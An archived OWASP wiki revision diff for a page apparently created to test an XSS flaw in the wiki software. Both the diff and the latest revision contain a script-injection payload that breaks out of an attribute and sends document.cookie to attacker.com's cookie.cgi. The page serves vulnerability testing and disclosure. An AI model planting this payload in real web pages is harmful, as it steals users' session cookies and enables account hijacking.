This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org

Difference between revisions of "Top 10 2010-Test-XSS-Vulnerability"

From OWASP
Jump to: navigation, search
m (Created page with 'Beware that editing this page will break your browser. It exposes an underlying vulnerability in the wiki software. '><script>document.location='http://www.example.com/…')
 
 
Line 1: Line 1:
 
Beware that editing this page will break your browser. It exposes an underlying vulnerability in the wiki software.
 
Beware that editing this page will break your browser. It exposes an underlying vulnerability in the wiki software.
  
'&gt;&lt;script&gt;document.location='http://www.example.com/'&gt;/script&lt;
+
'&gt;&lt;script&gt;document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie&lt;/script&gt;'.

Latest revision as of 22:31, 21 April 2010

Beware that editing this page will break your browser. It exposes an underlying vulnerability in the wiki software.

'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.